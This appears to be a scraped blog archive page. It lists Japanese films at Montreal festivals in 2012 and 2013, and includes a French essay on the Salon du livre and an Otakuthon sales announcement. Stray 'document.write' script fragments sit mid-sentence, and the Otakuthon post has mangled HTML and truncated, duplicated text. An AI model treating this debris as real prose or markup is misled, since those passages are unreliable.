  • The Garden of Words (Dir.: Makoto Shinkai, Canadian premiere, 46 min.). “A series of meetings in the park are the thread of this anime tale of something like love, both deep and forever distant… A turn to realism from Makoto Shinkai (Children who chase lost voices from deep below), to many eyes the heir to Miyazaki’s throne.”
  • Kick-Heart (Dir.: Masaaki Yuasa, Canadian Premiere, 13 min.).
  • Possessions (Dir.: Shuhei Morita, Canadian Premiere, 15 min.).
  • The Tragedy of Belladona (Dir.: Eiichi Yamamoto, 1973, 88 min.).

Japan (Live-Action)

  • The Apology King (Dir.: Nobuo Mizuta, World premiere, 128 min.). “In this vibrant comedy of manners from director Nobuo Mizuta, Sadao Abe (The Great Yokai War) stars as an eccentric motivational speaker running the Tokyo Apology Centre, which advise in the age-old Japanese practice of apologizing known as “dogeza”. Screenwriter Kankuro Kudo (Zebraman, Ping Pong) builds his story as a relentless escalation of cases to be tackled, and it is in their cumulative effect that The Apology King succeeds, defying expectations of scale and thrusting the viewer into a complex, absurd and hilarious supra-case in need of more fixing than a simple apology can provide.”
  • Bad Film (Dir.: Sion Sono, Canadian premiere, 161 min.). “A recently unearthed and completed early Sion Sono (Love Exposure, Suicide Club) work and pieced together from more than 150 hours of footage shot on Hi-8 video in 1995, starring the young director in a lead role, and hundreds of members of Tokyo GAGAGA, the performance art collective he founded in 1993. Bad Film is not only entirely inaccurate in its title but a shockingly assured early film. This is simply a must for any self-respecting Sonophile, as well as one of this year’s most exciting retro discoveries, for any fan of loud, abrasive and subversive Japanese cinema. Official Selection: Hong Kong International Film Festival 2013.”
  • Bushido Man (Dir.: Takanori Tsujimoto, North American premiere, 88 min.). “Seven master fighters, seven meals to meditate on, seven noble challenges and a whole lotta chop-socky fun in a low-budget, high-octane martial arts delight from the man behind Hard Revenge Milly! Official Selection: Yubari Fantastic Film Festival 2013. Hosted by Writer/Director Takanori Tsujimoto, Actor Mitsuki Koga, Actor/Action Director Kensuke Sonomura and actor Marc Walkow.”
  • The Complex (Dir.: Hideo Nakata, Canadian premiere, 106 min.). “Surprising and disturbing, The Complex marks the long-awaited return to the J-horror genre of Hideo Nakata (Ringu, Dark Water), and he still has the touch when it comes to oppressive atmosphere and disturbing sounds, but the master has matured in both style and thematic substance. Official Selection: International Film Festival Rotterdam 2013, Brussels International Fantastic Film Festival 2013, Udine Far East Film Festival 2013.”
  • Gatchaman (Dir.: Toya Sato, International premiere, 110 min.). “At last, after years of rumours and dashed hopes, it’s here: the live-action feature film based on Tatsuo Yoshida’s 1970s anime TV series Science Ninja Team Gatchaman… better known on these shores as Battle of the Planets! The brand new, big-screen Gatchaman is directed by Toya Sato (the Gambling Apocalypse Kaiji films) Written by Yusuke Watanabe (20th Century Boys, Gantz), boasts visual effects by Takashi Yamazaki (Space Battleship Yamato) and features a cast that includes Tori Matsuzaka (a Super Sentai Series veteran), Go Ayano (Crows Zero 2, Helter Skelter) and Japanese It Girl du jour Ayame Gouriki. Don’t walk, don’t run—fly to Fantasia to catch the Japanese pop-fantasy classic revisited, screening here for the first time anywhere outside Japan!”
  • The Great Passage (Dir.: Yuya Ishii, Canadian premiere, 133 min.). “The director of Sawako Decides (winner, Best Film, Fantasia 2010) and Mitsuko Delivers returns with another sensitive character study of an introverted young man throwing himself into editing an ambitious dictionary. Subtly epic in its manner and understatedly funny in its scripting. Official Selection: Hong Kong International Film Festival 2013, Puchon International Fantastic Film Festival 2013.”
  • Hello, My Dolly Girlfriend (Dir.: Takashi Ishii, International premiere, 112 min.).
  • Helter Skelter (Dir.: Mika Ninagawa, Canadian premiere, 127 min.). “LiLiCo is on the cover of every magazine, the object of lust and idolatry for all that enter her orbit. But perfect beauty is nothing more than a lovely nightmare. An aggressively effective, deceptively candy-coloured portrait of sex and power, where superstar Erika Sawajiri delivers a spectacular performance. Official Selection: BFI London 2012, New York Asian Film Festival 2013.”
  • HK/Forbidden Super Hero (Dir.: Yuichi Fukuda, Canadian premiere, 105 min.). “Disguised by a pair of panties, the Masked Pervert is the world’s first sex-fiend superhero! Forget Captain America, check out this delirious pastiche loaded with lowbrow laughs. Pervert power for the win! Official Selection: Puchon International Fantastic Film Festival 2013, New York Asian Film Festival 2013.”
  • I’ll Give It My All… Tomorrow (Dir.: Yuichi Fukuda, International premiere, 108 min.).
  • It’s Me, It’s Me (Dir.: Satoshi Miki, Canadian premiere, 119 min.).
  • Key of Life (Dir.: Kenji Uchida, Quebec premiere, 128 min.). “A failed actor usurps the identity of a hired killer who has been struck by amnesia. Great idea! This little gem of comedy carried by deadpan hilarious humour, sharp dialogue and stunning plot twists has charmed crowds everywhere it’s played. Winner: Best Screenplay Award, Shanghai International Film Festival 2012, Official Selection: Toronto International Film Festival 2012, Brussels International Fantastic Film Festival 2013.”
  • Lesson of the Evil (Dir.: Takashi Miike, Canadian premiere, 129 min.). “Takashi Miike, who also opens this year’s festival with the North American Premiere of the previously-announced Shield of Straw, makes a powerful return to exploitation cinema with what may well be the single most shocking film of his career. In this horrific thriller threaded with black humour, a model teacher loved by all is in fact a psychopath planning the mass slaughter of his students. Official Selection: Rome Film Festival 2012, International Film Festival Rotterdam 2013.”
  • Library Wars (Dir.: Shinsuke Sato, Canadian premiere, 128 min.). Based on Hiro Arikawa’s light novel and Kiiro Yumi’s manga adaptation. [ See my previous blog entry on this title ]
  • Neo Ultra Q (Dir.: various, North American premiere, 48 min.).
  • Number 10 Blues/Goodbye Saigon (Japan/Vietnam co-production, Dir.: Norio Osada, North American premiere, 97 min.). “One of the most exciting retro discoveries in years, this stunning insider’s look at the Vietnam War by Kinji Fukasaku collaborator Norio Osada (best known as the screenwriter of Lady Snowblood) flows with the madcap energy unique to 1970s counter-culture/exploitation cinema. Official Selection: International Film Festival Rotterdam 2013.”
  • Rurouni Kenshin (Dir.: Keishi Otomo, Quebec premiere, 135 min.). Based on Nobuhiro Watsuki’s manga. “In Meiji-era Japan, a former killer now wanders the countryside, his backward-bladed sword a symbol of his devotion to justice. It’s peace he seeks – but strife and treachery that find him! Fans of slick, slice-’em-up samurai cinema won’t want to miss this! Official Selection: Sitges International Fantastic Film Festival 2012.”
  • See You Tomorrow, Everyone (Dir.: Yoshihiro Nakamura, North American premiere, 120 min.). “Following a traumatic event, Satoru refuses to leave the urban island Furoku. A brilliant dissection of modern Japan, this insightful and exceptional film stars the formidable Gaku Hamada (Fish Story). From the inimitable director of Fish Story, Golden Slumber, A Boy and his Samurai. Official Selection: Udine Far East Film Festival 2013.”
  • Shield of Straw (Dir.: Takashi Miike, North American premiere, 125 min.).
  • Thermae Romae (Dir.: Hideki Takeuchi, Quebec premiere, 108 min.). Based on Mari Yamazaki’s manga (see my previous comments, in french). “A public-bathhouse builder in Rome of 128 A.D. tumbles through time to modern Japan, land of such marvels as toilet paper, Jacuzzis and of course electronic bidets! A wonderfully offbeat Japanese historical fantasy comedy with Hiroshi Abe (Survive Style 5+, Chocolate). Winner: Outstanding Performance by an Leading Actor, Japan Academy Awards 2013.” Screened at last years’ Toronto Film Festival.
  • The Tiger Mask (Dir.: Ken Ochiai, North American premiere, 91 min.). Based on Naoki Tsuji’s manga. “Revamping the orphan who becomes a wrestler to fight villains – an icon of anime, manga and live wrestling – Shochiku has initiated a new Japanese superhero franchise with The Tiger Mask. Be sure to get a ringside seat for its dynamic debut, screening here for the first time on the continent. Hosted by Co-Writer/Director Ken Ochiai.”
  • Ultraman Zero: The Revenge of Belial (Dir.: Yuichi Abe, North American premiere, 100 min.). “Nebula M78, the Land of Light, homeworld of the Ultramen, is attacked by Belial’s robotic weapons… celebrate the 50th anniversary of Tsuburaya Productions with this all-action sci-fi extravaganza.”
  • Uzumasa Jacopetti (Dir.: Moriro Miyamoto, North American premiere, 83 min.).

South Korea

Hong Kong and Taiwan

Others

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Clodji au Salon du livre 2012

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Vendredi j’ai visité le Salon du livre de Montréal en long et en large (mais ce fut tout de même une visite éclaire, document.write(“”); en un peu plus d’une heure) et tout ce que j’en ai gardé est une sensation de profond écoeurement.
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Premièrement, il faut être pas mal masochiste pour visiter le salon après avoir passé une dure et très longue journée à travailler en bibliothèques (une de ces journées d’enfer qui vous font reconsidérer votre plan de carrière; ce n’est pas tout d’accomplir avec le sourire la pléthore des tâches variés qu’on vous attribut, mais le faire dans la cacophonie de petits morveux dissipés et irrespectueux qui hurlent et courent partout, c’est très exigeant).

Finalement, la présence de tous ces livres m’a laissé abasourdi, écrasé par une surcharge visuelle et intellectuelle. Il me semble que ce n’était pas comme cela quand je visitais le salon étant jeune. J’en conserve un souvenir d’émerveillement et d’admiration devant tout cet accomplissement littéraire. Des fois je me demande si il n’y a pas trop de livres publiés de nos jours. On en est venu à publier n’importe quoi et n’importe qui de sorte que tous les grands auteurs et ouvrages importants sont noyés dans la masse de ces titres insignifiants et médiocres. C’est cela sans doute la démocratisation de la littérature…

Et c’est probablement encore pire avec l’édition électronique, dont on faisait grand cas encore une fois cette année au salon. Est-ce vraiment une bonne chose que monsieur et madame tout le monde (et n’oublions surtout pas toutou) puissent raconter leur petite histoire et partager anecdotes et recettes savoureuses? Heureusement que les éditeurs ne publient qu’une fraction infime des manuscrits qu’ils recoivent!

Enfin, peut-être que l’édition a toujours été comme cela et, alors que les années passent, l’ivraie s’envole et qu’il ne reste plus dans notre souvenir que les perles et les classiques. C’est vrai, après tout il y a la loi de Sturgeon qui affirme que quatre-vingt dix pour cent de tout est de la merde! Peut-être, mais pour l’instant je ne vois qu’un gâteau visuellement trop riche, qui me reste sur l’estomac. La forêt de livres cache la littérature et je me sens dépassé, anesthésié, gourd et désensibilisé. Et au milieu de tout cela, la télévision, en directe, qui se se bat pour prendre à vos enfants le peu d’attention qu’ils peuvent donner. Les mots, il en reste si peu, auront-ils encore toujours un sens pour ces enfants turbulants, en constant état d’excitation comme de quelconques atomes, agités par les ondes de leurs écrans cathodiques?

J’ai tout de même apercu quelques livres beaux (sur la géographie ou l’art) ou amusants (comme ces compilations de Naruto grand format, immitant les magazines manga japonais hebdomadaires). Mais trop c’est trop. Et je reviens bredouille, mon épuisette vide, sans même la moindre suggestion d’achat pour Noël. Quelle tristesse.

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Montreal World Film Festival 2012

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In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
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This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

Otakuthon 2012

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Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /
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The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”http://www.otakuthon.com/&#8221; target=”“new””Otakuthon website/A for details.br /
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I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
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Come meet and discuss with us!br /
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Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!